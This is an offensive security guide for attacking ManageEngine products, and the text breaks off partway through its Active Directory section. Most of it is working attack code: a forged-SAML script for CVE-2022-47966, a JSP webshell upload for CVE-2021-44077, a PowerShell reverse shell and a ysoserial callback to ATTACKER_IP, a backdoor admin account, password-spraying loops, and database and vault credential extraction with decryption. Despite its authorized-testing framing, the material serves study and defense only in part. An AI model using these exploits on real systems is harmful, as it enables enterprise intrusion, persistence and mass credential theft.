ManageEngine Security Testing: CVE-2022-47966 SAML Auth Bypass, ServiceDesk Plus RCE, Credential Harvesting

ManageEngine — a division of Zoho Corporation — produces over 60 IT management products deployed across enterprises worldwide: help desks, identity management, privileged access management, network monitoring, and SIEM. Their products sit deep inside enterprise networks with privileged access to Active Directory, all managed endpoints, and stored credentials for every connected system. CVE-2022-47966 (CVSS 9.8) affected 24 ManageEngine products simultaneously, enabling unauthenticated remote code execution through a SAML SSO XML signature bypass. This guide covers authorized ManageEngine penetration testing from initial discovery through credential harvesting and Active Directory compromise.

Authorized testing only: All techniques described in this guide are for use on systems you own or have explicit written authorization to test. ManageEngine products are frequently deployed with privileged Active Directory access — unauthorized testing may affect production identity infrastructure and trigger enterprise incident response procedures.

Table of Contents

  1. ManageEngine Product Landscape
  2. Discovery and Fingerprinting
  3. CVE-2022-47966: SAML SSO Unauthenticated RCE (CVSS 9.8)
  4. CVE-2021-44077: ServiceDesk Plus Unauthenticated RCE (CVSS 9.8)
  5. CVE-2022-35405: PAM360 and Password Manager Pro RCE (CVSS 9.8)
  6. Default Credential Testing
  7. REST API Abuse and Token Extraction
  8. Database Credential Extraction
  9. Active Directory Integration Attacks
  10. Defense Recommendations

ManageEngine Product Landscape

ManageEngine's product suite spans every tier of enterprise IT. From a penetration testing perspective, each product represents a distinct attack surface with different default ports, authentication mechanisms, and post-compromise value. Understanding the landscape determines which targets to prioritize during scoping.

ProductDefault Port(s)FunctionPost-Compromise Value
ServiceDesk Plus8080, 8443ITSM / Help DeskAll ticket data, attached files, user PII, integrated AD credentials
ADManager Plus8080Active Directory managementEffectively Domain Admin — can create/modify/delete AD objects, reset passwords, add accounts to privileged groups
ADSelfService Plus8888Self-service AD password reset / MFAMFA bypass for all AD users; password reset capability for any account
PAM3608282Privileged Access ManagementAll stored privileged credentials (root, Domain Admin, service accounts) in bulk export
Password Manager Pro7272Enterprise password vaultComplete credential database export including SSH keys, API keys, database passwords
Desktop Central / Endpoint Central8020, 8383Unified endpoint managementRemote code execution on all managed endpoints (workstations, servers)
OpManager8060Network performance monitoringNetwork topology map, SNMP community strings, device credentials
OpUtils8080Network diagnostics / IP managementSNMP credentials, switch port mapping, IP address database
EventLog Analyzer8400Log management / SIEMAll ingested logs, device credentials for log collection agents
ADAudit Plus8081Active Directory auditingFull AD audit trail, domain controller credentials used for audit collection
Log3608082SIEM / log correlationAggregated logs from all connected sources, integrated product credentials
Applications Manager9090Application performance monitoringDatabase connection strings, application server credentials, JMX/SNMP community strings

The highest-value targets for an authorized assessment are: PAM360 / Password Manager Pro (bulk credential dump), ADManager Plus (Domain Admin-equivalent AD access), and ADSelfService Plus (MFA bypass for every AD user). ServiceDesk Plus and Desktop Central are typically the most commonly encountered internet-facing products and the most frequently exploited entry points.

Discovery and Fingerprinting

ManageEngine products run on a Java servlet engine (historically Tomcat, now an embedded variant) and share common URL patterns, response headers, and JavaScript bundles that make fingerprinting reliable. Version detection is critical — the CVE landscape varies significantly by product and version.

Nmap Port Sweep

# ManageEngine products span many non-standard ports — sweep broadly
nmap -sV -sC --open \
  -p 8020,8060,8080,8081,8082,8083,8400,8443,8444,8888,9090,7272,8282,8383 \
  -oA manageengine-scan TARGET_IP

# Quick version probe on the most common ports
nmap -sV --open -p 8080,8443,8888,9090,8282,7272 TARGET_IP

# ServiceDesk Plus specific — check both HTTP and HTTPS variants
nmap -sV -p 8080,8443 --script=http-title,http-headers TARGET_IP

# Applications Manager often runs on 9090 alongside other services
nmap -sV -p 9090 --script=http-title TARGET_IP

HTTP Fingerprinting and Version Detection

# ManageEngine products expose version information in multiple locations

# ServiceDesk Plus — version in page title and meta tags
curl -sk http://TARGET:8080/ | grep -i "manageengine\|servicedesk\|version\|build"
curl -sk http://TARGET:8080/index.do | grep -i "version\|build number"

# Generic ManageEngine version endpoint — works across many products
curl -sk http://TARGET:8080/servlet/OPMRequestHandlerServlet \
  --data "method=getServerDetails" | python3 -m json.tool

# Check the login page for product identification and build number
curl -sk http://TARGET:8080/webclient/index.html | grep -i "version\|build\|product"
curl -sk http://TARGET:8080/Login.do | grep -i "manageengine\|version\|build"

# ADSelfService Plus version endpoint (unauthenticated)
curl -sk http://TARGET:8888/servlet/ADSelfService?action=getProductVersion

# PAM360 version banner
curl -sk https://TARGET:8282/servlet/AMUserRequestHandler?method=getProductVersion \
  -k | python3 -m json.tool

# Desktop Central / Endpoint Central version
curl -sk http://TARGET:8020/dcapi/getProductVersion | python3 -m json.tool

# HTTP response headers — ManageEngine often reveals product name in headers
curl -sk -I http://TARGET:8080/ | grep -i "server\|x-powered\|manageengine"

# Check for exposed build info files
for PATH in "/serverinfo.jsp" "/AboutPage.do" "/build.html" "/version.txt" \
            "/WEB-INF/web.xml" "/ManageEngine/"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:8080$PATH)
  echo "$STATUS http://TARGET:8080$PATH"
done

SAML SSO Detection (Required for CVE-2022-47966)

# CVE-2022-47966 requires SAML SSO to be enabled — detect before attempting
# SAML endpoints are exposed even when SSO is not the primary auth method

# Check for SAML SSO endpoints
curl -sk http://TARGET:8080/SamlResponseServlet -I
curl -sk http://TARGET:8080/servlet/samlResponseServlet -I
# HTTP 200 or 405 (Method Not Allowed) indicates SAML is configured

# ServiceDesk Plus SAML detection
curl -sk "http://TARGET:8080/SamlResponseServlet" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "SAMLResponse=test" -v 2>&1 | grep -i "HTTP\|location\|saml\|error"

# If SAML is configured, the login page shows SSO option
curl -sk http://TARGET:8080/Login.do | grep -i "sso\|saml\|single sign"

# Check for SAML metadata endpoint (exposes SP configuration)
curl -sk http://TARGET:8080/samlsso/metadata -I
curl -sk http://TARGET:8080/SamlMetadata.do

CVE-2022-47966: SAML SSO Unauthenticated RCE (CVSS 9.8)

CVE-2022-47966 is a critical unauthenticated remote code execution vulnerability affecting 24 ManageEngine products simultaneously. The root cause is ManageEngine's use of a vulnerable version of Apache Santuario (xmlsec) for XML digital signature verification in its SAML SSO implementation. When SAML SSO is enabled (even if not actively used as the primary authentication method), an attacker can craft a malicious SAMLResponse that bypasses signature validation entirely, gaining unauthenticated access and ultimately arbitrary code execution as the service account running ManageEngine (often SYSTEM on Windows).

Affected Products and Versions

Exploited in the wild by nation-state actors: CISA, FBI, and NSA jointly warned that CVE-2022-47966 was actively exploited by nation-state threat actors within days of public PoC release in January 2023. Mandiant and Rapid7 documented in-the-wild exploitation targeting government, defense, healthcare, and financial sector organizations. The vulnerability requires only that SAML SSO was ever enabled — even if subsequently disabled, some configurations remain exploitable.

Technical Root Cause: Apache Santuario XML Signature Bypass

ManageEngine products prior to the patched builds used Apache Santuario (xmlsec) version 1.4.1, which contained a flaw in the TransformSha1 algorithm implementation. When processing an XML digital signature, Santuario failed to correctly validate the Reference element URI under certain conditions. An attacker could submit a SAML assertion signed with a self-signed certificate (or no valid certificate at all) and the signature verification would succeed, treating the assertion as having been issued by the trusted Identity Provider. The ManageEngine application would then create an authenticated session for any user named in the SAML assertion, including the built-in administrator.

CVE-2022-47966 PoC — SAML Signature Bypass

# Step 1: Verify SAML endpoint is enabled (unauthenticated check)
curl -sk -X POST "http://TARGET:8080/SamlResponseServlet" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "SAMLResponse=AAAAAA==" -v 2>&1 | grep -i "HTTP\|302\|error\|invalid"
# A response other than 404 confirms SAML is configured

# Step 2: Generate a self-signed certificate to sign the forged assertion
openssl req -x509 -newkey rsa:2048 -keyout saml_key.pem -out saml_cert.pem \
  -days 30 -nodes -subj "/CN=attacker-idp"

# Step 3: Craft and sign malicious SAML assertion (Python)
python3 << 'EOF'
from lxml import etree
from signxml import XMLSigner, methods
import base64
import datetime
import sys

# Target admin username — ManageEngine uses 'administrator' as default admin
TARGET_USER = "administrator"
TARGET_EMAIL = "administrator@corp.local"

# Build the SAML assertion XML structure
now = datetime.datetime.utcnow()
expire = now + datetime.timedelta(hours=1)

assertion_xml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
  xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
  ID="_manageengine_bypass_{now.strftime('%Y%m%d%H%M%S')}"
  Version="2.0" IssueInstant="{now.isoformat()}Z"
  Destination="http://TARGET:8080/SamlResponseServlet">
  <saml:Issuer>https://attacker-idp.local/saml</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion Version="2.0" IssueInstant="{now.isoformat()}Z">
    <saml:Issuer>https://attacker-idp.local/saml</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
        {TARGET_EMAIL}
      </saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="{expire.isoformat()}Z"
          Recipient="http://TARGET:8080/SamlResponseServlet"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="{now.isoformat()}Z" NotOnOrAfter="{expire.isoformat()}Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://TARGET:8080</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AttributeStatement>
      <saml:Attribute Name="EmailAddress">
        <saml:AttributeValue>{TARGET_EMAIL}</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="UserPrincipalName">
        <saml:AttributeValue>{TARGET_USER}</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>"""

# Sign with the self-signed attacker certificate (Santuario fails to validate issuer)
root = etree.fromstring(assertion_xml.encode())
with open("saml_cert.pem", "rb") as f:
    cert = f.read()
with open("saml_key.pem", "rb") as f:
    key = f.read()

signer = XMLSigner(method=methods.enveloped, digest_algorithm="sha1")
signed = signer.sign(root, key=key, cert=cert)

payload = base64.b64encode(etree.tostring(signed)).decode()
print(payload)
EOF

# Step 4: Submit forged SAMLResponse to obtain authenticated session
curl -sk -c admin_session.txt -X POST "http://TARGET:8080/SamlResponseServlet" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "SAMLResponse=$(python3 generate_saml.py)" \
  -L -v 2>&1 | grep -i "location\|set-cookie\|logged\|dashboard"

# Successful bypass: HTTP 302 redirect to /webclient/index.html#/dashboard
# Session cookies (JSESSIONID, sdpcsrftoken) are now saved in admin_session.txt

# Step 5: Verify authenticated access
curl -sk -b admin_session.txt "http://TARGET:8080/api/v3/administrators" \
  -H "Accept: application/json" | python3 -m json.tool

Post-Authentication RCE via Script Execution

# With administrator access obtained via SAML bypass,
# escalate to OS-level RCE using ManageEngine's built-in script execution features

# ServiceDesk Plus — custom script execution via Automation module
# Navigate to: Setup > Automation > Custom Triggers > Script Actions
# ManageEngine allows PowerShell/VBScript/bash execution as the service account

# Alternative: upload a JSP webshell via the file attachment mechanism
# ManageEngine stores uploaded files in predictable paths

# Detect the ManageEngine installation directory via API
curl -sk -b admin_session.txt "http://TARGET:8080/api/v3/configurations" \
  -H "Accept: application/json" | python3 -m json.tool | grep -i "path\|install\|home"

# ServiceDesk Plus scheduled reports can execute system commands
# POST a new custom report with OS command injection in the report name parameter
curl -sk -b admin_session.txt -X POST "http://TARGET:8080/api/v3/reports" \
  -H "Content-Type: application/json" \
  -d '{"report":{"name":"test; whoami > C:\\\\ManageEngine\\\\output.txt","type":"custom"}}' \
  | python3 -m json.tool

CVE-2021-44077: ServiceDesk Plus Unauthenticated RCE (CVSS 9.8)

CVE-2021-44077 is a pre-authentication remote code execution vulnerability in ManageEngine ServiceDesk Plus affecting versions prior to 11306. The vulnerability exists in the /RestAPI/ImportTechnicians endpoint, which processes CSV imports of technician accounts. This endpoint does not require authentication and accepts multipart file uploads. An attacker can upload a JSP webshell disguised as a CSV file to a predictable path within the ManageEngine web root, then trigger execution by requesting the uploaded file over HTTP.

CVE-2021-44077 Exploitation Steps

# Step 1: Verify the vulnerable endpoint exists (no authentication required)
curl -sk -X GET "http://TARGET:8080/RestAPI/ImportTechnicians" -I
# Vulnerable: HTTP 200 or 405 (endpoint exists, expects POST)
# Patched: HTTP 404

# Step 2: Create a JSP webshell payload
cat > webshell.jsp << 'SHELL'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("c");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(
        new String[]{System.getProperty("os.name").toLowerCase().contains("win")
            ? "cmd.exe" : "/bin/bash",
          System.getProperty("os.name").toLowerCase().contains("win") ? "/c" : "-c",
          cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while ((line = br.readLine()) != null) sb.append(line).append("\n");
    out.print("<pre>" + sb.toString() + "</pre>");
}
%>
SHELL

# Step 3: Upload the JSP webshell to the unauthenticated ImportTechnicians endpoint
# The endpoint writes the uploaded file to a predictable path in the webapps directory
curl -sk -X POST "http://TARGET:8080/RestAPI/ImportTechnicians" \
  -F "file=@webshell.jsp;type=text/plain" \
  -F "importType=technician" \
  -v 2>&1 | grep -i "HTTP\|location\|upload\|file\|path"

# ManageEngine writes the file to: /opt/manageengine/servicedesk/webapps/ROOT/
# or on Windows: C:\ManageEngine\ServiceDesk\webapps\ROOT\
# The filename is typically preserved as uploaded

# Step 4: Access the webshell (no authentication required to execute)
curl -sk "http://TARGET:8080/webshell.jsp?c=whoami"
curl -sk "http://TARGET:8080/webshell.jsp?c=ipconfig"   # Windows
curl -sk "http://TARGET:8080/webshell.jsp?c=id"          # Linux

# If ManageEngine runs as SYSTEM (Windows default), the output will show:
# nt authority\system

# Step 5: Establish a reverse shell from the webshell
# Generate PowerShell reverse shell payload
LHOST="ATTACKER_IP"
LPORT=4444
PWSH_CMD="powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""

# Start netcat listener
nc -lvnp $LPORT &

# Trigger reverse shell via webshell
curl -sk "http://TARGET:8080/webshell.jsp" --data-urlencode "c=$PWSH_CMD"
NSA/FBI joint advisory: CVE-2021-44077 was included in the NSA and FBI joint advisory (AA22-320A) listing the top CVEs routinely exploited by threat actors including APT41. Rapid7 observed active exploitation of unpatched ServiceDesk Plus instances across multiple industry verticals throughout Q4 2021 and Q1 2022. Organizations in healthcare, government, and finance were disproportionately targeted due to the sensitive data held in help desk ticketing systems.

CVE-2022-35405: PAM360 and Password Manager Pro RCE (CVSS 9.8)

CVE-2022-35405 is an unauthenticated remote code execution vulnerability in ManageEngine PAM360 (builds prior to 5500) and Password Manager Pro (builds prior to 12101). The vulnerability exists in the /api/pam/ExportImport endpoint, which processes XML data for configuration import/export operations. The endpoint is vulnerable to XMLRPC deserialization — an attacker sends a crafted XML payload containing a serialized Java object using a known gadget chain, which is deserialized without validation and achieves OS command execution.

CVE-2022-35405 — XMLRPC Deserialization Exploitation

# Step 1: Confirm the vulnerable endpoint is reachable
curl -sk -X POST "https://TARGET:8282/api/pam/ExportImport" \
  -H "Content-Type: application/xml" \
  --data "<?xml version='1.0'?><test/>" -k -v 2>&1 | grep -i "HTTP\|error\|500\|400"
# HTTP 500 or XML parsing error = endpoint exists

# Step 2: Generate a Java deserialization payload using ysoserial
# The CommonsCollections gadget chain works against ManageEngine's embedded JRE
# PAM360 typically ships with Java 8 and Commons Collections 3.x in the classpath

java -jar ysoserial.jar CommonsCollections6 "curl http://ATTACKER_IP:8888/pwned" \
  | base64 -w 0 > payload_b64.txt

# Alternative: use CommonsCollections1 for older Java 8 targets
java -jar ysoserial.jar CommonsCollections1 \
  "powershell -enc BASE64_ENCODED_CMD" | base64 -w 0 > payload_b64.txt

# Step 3: Wrap the payload in the XMLRPC structure expected by ExportImport
python3 << 'EOF'
import base64
import requests
import urllib3
urllib3.disable_warnings()

TARGET = "https://TARGET_IP:8282"

# Read the ysoserial-generated payload
with open("payload_b64.txt") as f:
    payload_b64 = f.read().strip()

# Craft XMLRPC envelope with serialized Java object
xmlrpc_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>ExportImport.importConfig</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          {payload_b64}
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>"""

r = requests.post(
    f"{TARGET}/api/pam/ExportImport",
    data=xmlrpc_payload,
    headers={"Content-Type": "text/xml"},
    verify=False,
    timeout=15
)
print(f"Status: {r.status_code}")
print(r.text[:500])
EOF

# Step 4: Verify code execution via OOB callback
# Start HTTP listener on attacker machine
python3 -m http.server 8888

# If request arrives at the listener, deserialization executed successfully
# The URL /pwned will be requested by the ManageEngine server process

# Step 5: Establish persistence — add admin account via API (post-RCE)
# Once OS access is obtained, ManageEngine admin API is accessible locally
curl -sk -X POST "https://localhost:8282/api/pam/User" \
  -H "AUTHTOKEN: EXTRACTED_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"operation":{"Details":{"NAME":"backdoor","PASSWORD":"B4ckdoor!23",
    "ROLE":"Administrator","EMAIL":"backdoor@corp.local"}}}' \
  | python3 -m json.tool

Bulk Credential Extraction from PAM360

# Once authenticated (via RCE or default credentials), extract all stored passwords
# PAM360's Account bulk export API returns all credentials in a single call

# Authenticate to PAM360 API
curl -sk -X POST "https://TARGET:8282/api/pam/auth" \
  -H "Content-Type: application/json" \
  -d '{"operation":{"Details":{"USERNAME":"admin","PASSWORD":"admin","DOMAINNAME":"LOCAL"}}}' \
  -k | python3 -m json.tool
# Extract the AUTHTOKEN from the response

AUTHTOKEN="EXTRACTED_TOKEN_HERE"

# Enumerate all Resource Groups (vaults)
curl -sk -X GET "https://TARGET:8282/api/pam/ResourceGroup" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool

# Get all accounts across all resources
curl -sk -X GET "https://TARGET:8282/api/pam/Account" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for r in data.get('operation', {}).get('Details', []):
    print(f'Resource: {r.get(\"RESOURCE NAME\")}, Account: {r.get(\"ACCOUNT NAME\")}')
"

# Request the actual password for each account ID
# Replace ACCOUNT_ID with values from the enumeration above
curl -sk -X GET "https://TARGET:8282/api/pam/Account/ACCOUNT_ID/Password" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool

# Bulk password export via the ExportImport endpoint (authenticated)
curl -sk -X GET "https://TARGET:8282/api/pam/ExportImport/Export?resourceType=ALL" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k --output pam360_export.xml

Default Credential Testing

ManageEngine ships every product with default administrator credentials. These are frequently unchanged in lab, staging, and even production environments — particularly in organizations that deployed ManageEngine years ago when post-installation hardening checklists were less rigorous. Default credential testing should always precede CVE exploitation attempts.

Default Credentials by Product

ProductDefault UsernameDefault PasswordLogin URL
ServiceDesk Plusadministratoradministratorhttp://TARGET:8080/webclient/index.html
ADManager Plusadminadminhttp://TARGET:8080/webclient/
ADSelfService Plusadminadminhttp://TARGET:8888/webclient/
PAM360adminadminhttps://TARGET:8282/
Password Manager Proadminadminhttps://TARGET:7272/
Desktop Centraladminadminhttp://TARGET:8020/
OpManageradminadminhttp://TARGET:8060/
EventLog Analyzeradminadminhttp://TARGET:8400/
Applications Manageradminadminhttp://TARGET:9090/AppManager/

Automated Default Credential Testing

# Test ServiceDesk Plus default credentials via the webclient API
curl -sk -c sdp_session.txt -X POST \
  "http://TARGET:8080/j_security_check" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "j_username=administrator&j_password=administrator&hidden=yes" \
  -L -D - | grep -i "location\|302\|dashboard\|logged"

# Test the REST API authentication (available in newer builds — more reliable indicator)
curl -sk -X POST "http://TARGET:8080/api/v3/authenticate" \
  -H "Content-Type: application/json" \
  -d '{"authdata":{"username":"administrator","password":"administrator"}}' \
  | python3 -m json.tool

# Test ADManager Plus / ADSelfService Plus
curl -sk -c admin_session.txt -X POST \
  "http://TARGET:8080/j_security_check" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "j_username=admin&j_password=admin" \
  -L | grep -i "dashboard\|logged\|403\|error"

# PAM360 / Password Manager Pro API authentication
for PASS in "admin" "password" "Admin@123" "ManageEngine@123" "Zoho@123"; do
  echo -n "Testing admin:$PASS - "
  curl -sk -X POST "https://TARGET:8282/api/pam/auth" \
    -H "Content-Type: application/json" \
    -d "{\"operation\":{\"Details\":{\"USERNAME\":\"admin\",\"PASSWORD\":\"$PASS\",\"DOMAINNAME\":\"LOCAL\"}}}" \
    -k | grep -o "authresult\|FAILURE\|Success\|token" | head -1
done

# Test OpManager default credentials
curl -sk -c opm_session.txt -X POST "http://TARGET:8060/apiclient/ember/Login.jsp" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "clienttype=html&ScreenWidth=1920&ScreenHeight=1080&username=admin&password=admin" \
  -L | grep -i "dashboard\|network\|logout\|error"

# Applications Manager — distinct login form
curl -sk -c appman_session.txt -X POST \
  "http://TARGET:9090/AppManager/j_spring_security_check" \
  -d "j_username=admin&j_password=admin&_spring_security_remember_me=on" \
  -L | grep -i "dashboard\|Monitor\|logout\|denied"

REST API Abuse and Token Extraction

ManageEngine products expose REST APIs for integration and automation. These APIs use API key authentication (a static bearer token) or session-based JSESSIONID cookies. API keys are long-lived and do not expire by default, making them high-value persistence mechanisms. Administrators frequently embed API keys in monitoring scripts and configuration files where they can be harvested during a broader compromise.

API Key Enumeration and Generation

# ServiceDesk Plus API key location — visible in admin profile settings
# With an authenticated session:
curl -sk -b sdp_session.txt "http://TARGET:8080/api/v3/techniciankeys" \
  -H "Accept: application/json" | python3 -m json.tool

# Generate a new API key for persistence (requires admin session)
curl -sk -b sdp_session.txt -X POST "http://TARGET:8080/api/v3/techniciankeys" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"technician_key":{"description":"backup-monitoring-key"}}' \
  | python3 -m json.tool

# Use the API key directly (preferred — session-independent, persistent)
APIKEY="EXTRACTED_KEY"
curl -sk "http://TARGET:8080/api/v3/requests?APIKEY=$APIKEY&input_data=%7B%7D" \
  | python3 -m json.tool

# Enumerate all service desk requests (tickets) — may contain passwords in descriptions
curl -sk "http://TARGET:8080/api/v3/requests" \
  -H "APIKEY: $APIKEY" \
  -G --data-urlencode 'input_data={"list_info":{"row_count":100,"start_index":1}}' \
  | python3 -m json.tool

# Search tickets for credential keywords
curl -sk "http://TARGET:8080/api/v3/requests/_search" \
  -H "APIKEY: $APIKEY" \
  -H "Content-Type: application/json" \
  -d '{"search_fields":{"subject":"password reset","description":"password"}}' \
  | python3 -m json.tool

# PAM360 API — enumerate all resources (servers/devices with stored credentials)
curl -sk "https://TARGET:8282/api/pam/Resource" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool

# Bulk account export (all credentials in a single JSON response)
curl -sk "https://TARGET:8282/api/pam/Account?LIST=true" \
  -H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool

API Endpoint Discovery

# ManageEngine REST API documentation is sometimes exposed on the server
curl -sk "http://TARGET:8080/api/v3/" | python3 -m json.tool
curl -sk "http://TARGET:8080/api/" | python3 -m json.tool

# Check for Swagger/OpenAPI spec exposure
for PATH in "/swagger-ui.html" "/api-docs" "/v3/api-docs" "/swagger.json" \
            "/api/swagger" "/webclient/api-spec"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:8080$PATH)
  [[ "$STATUS" == "200" ]] && echo "FOUND: $STATUS http://TARGET:8080$PATH"
done

# ServiceDesk Plus API endpoint enumeration
for RESOURCE in "requests" "problems" "changes" "assets" "accounts" \
                "technicians" "users" "configurations" "reports" \
                "solutions" "topics" "servicecatalog"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    "http://TARGET:8080/api/v3/$RESOURCE" -H "APIKEY: $APIKEY")
  echo "$STATUS /api/v3/$RESOURCE"
done

Database Credential Extraction

ManageEngine products store their configuration data, credential vaults, and operational data in either an embedded PostgreSQL instance (bundled with the product) or an external Microsoft SQL Server configured at installation. The embedded PostgreSQL instance runs locally with a known default superuser (postgres) and its data directory is in a predictable location within the ManageEngine installation path. On Windows, ManageEngine typically runs as SYSTEM, meaning the embedded PostgreSQL is accessible without OS-level credentials once a webshell or RCE foothold is established.

Locating and Accessing the Embedded PostgreSQL Database

# ManageEngine standard installation paths (Windows)
# ServiceDesk Plus: C:\ManageEngine\ServiceDesk\
# PAM360:           C:\ManageEngine\PAM360\
# ADManager Plus:   C:\ManageEngine\ADManager Plus\
# Desktop Central:  C:\ManageEngine\DesktopCentral_Server\

# The embedded PostgreSQL binary is at:
# C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe

# Connect to the embedded PostgreSQL (no password required from local OS shell)
# The embedded pgsql listens on a non-standard port (65432 or 33306 depending on product)
# Run from a webshell or reverse shell as SYSTEM:
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -c "\l"

# List all databases
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -c "\l"

# Connect to the ServiceDesk database (typically 'sdpdb' or 'servicedesk')
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -d sdpdb

# Extract technician (staff) account credentials
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -d sdpdb \
  -c "SELECT loginname, password, emailid, isadmin FROM AaaUser LIMIT 50;"

# Extract requester (end user) account data
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -d sdpdb \
  -c "SELECT loginname, password, emailid FROM AaaUser WHERE USER_TYPE='Requester';"

# Linux installation paths:
# /opt/manageengine/servicedesk/
# /opt/manageengine/pam360/
# Embedded pgsql: /opt/manageengine/servicedesk/pgsql/bin/psql

Backup File Analysis

# ManageEngine creates regular backup archives in predictable locations
# These backups contain the full database dump and configuration files

# Locate backup files (run from webshell/reverse shell)
dir /s /b "C:\ManageEngine\ServiceDesk\backup\*.zip" 2>nul
dir /s /b "C:\ManageEngine\ServiceDesk\backup\*.gz" 2>nul

# Linux equivalent
find /opt/manageengine/ -name "*.zip" -newer /opt/manageengine -maxdepth 5 2>/dev/null
find /opt/manageengine/ -name "backup*" -type f 2>/dev/null

# Backup archives typically named: SDPBackup-YYYY-MM-DD_HH-MM.zip
# Extract and inspect the database dump inside the backup
# PowerShell extract:
Expand-Archive "C:\ManageEngine\ServiceDesk\backup\SDPBackup-2026-07-04_02-00.zip" \
  -DestinationPath "C:\temp\sdp_backup"

# The extracted directory contains:
# - sdpdb.backup (pg_dump format — PostgreSQL dump)
# - server.xml (Tomcat configuration with any JDBC connection string details)
# - conf/ directory with application configuration files

# Restore and query the backup database on attacker-controlled PostgreSQL
pg_restore -d sdpdb_copy "C:\temp\sdp_backup\sdpdb.backup"
psql -d sdpdb_copy -c "SELECT loginname, password FROM AaaUser WHERE isadmin='1';"

# Extract LDAP/AD bind credentials from configuration
grep -r "binddn\|bindpassword\|ldap.password\|ad.password" \
  /opt/manageengine/servicedesk/conf/ 2>/dev/null

# ServiceDesk Plus stores LDAP configuration in:
type "C:\ManageEngine\ServiceDesk\conf\customer.xml" | findstr /i "password bind ldap"

Password Manager Pro / PAM360 Database Extraction

# PAM360 stores all privileged credentials in an AES-encrypted column within PostgreSQL
# The encryption key is derived from the master password and stored in conf/

# PAM360 database location
"C:\ManageEngine\PAM360\pgsql\bin\psql.exe" \
  -U postgres -p 65432 -h 127.0.0.1 -d PassTrix \
  -c "SELECT RESOURCE_NAME, ACCOUNT_NAME, PASSWORD FROM Accounts LIMIT 20;"

# The PASSWORD column stores AES-encrypted values
# The encryption key is in: C:\ManageEngine\PAM360\conf\encryptionKey.xml
type "C:\ManageEngine\PAM360\conf\encryptionKey.xml"

# With the encryption key, decrypt stored passwords using the PAM360 key format
python3 << 'EOF'
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# Extract these values from the database and encryptionKey.xml
ENC_KEY = bytes.fromhex("EXTRACTED_HEX_KEY_FROM_XML")
ENC_PASSWORD = base64.b64decode("BASE64_ENCRYPTED_PASSWORD_FROM_DB")

# PAM360 uses AES-128-CBC with a fixed IV derived from the key
iv = ENC_KEY[:16]
cipher = AES.new(ENC_KEY, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ENC_PASSWORD), 16)
print(f"Decrypted password: {plaintext.decode()}")
EOF

Active Directory Integration Attacks

ManageEngine's identity-focused products (ADManager Plus, ADSelfService Plus, ADAudit Plus) integrate deeply with Active Directory using service accounts that often have elevated privileges. ADManager Plus, in particular, is frequently configured with Domain Admin rights to fulfil its user provisioning and management functions — making it a critical lateral movement target.

ADManager Plus: Domain Admin-Equivalent Access

# ADManager Plus requires a service account with elevated AD permissions
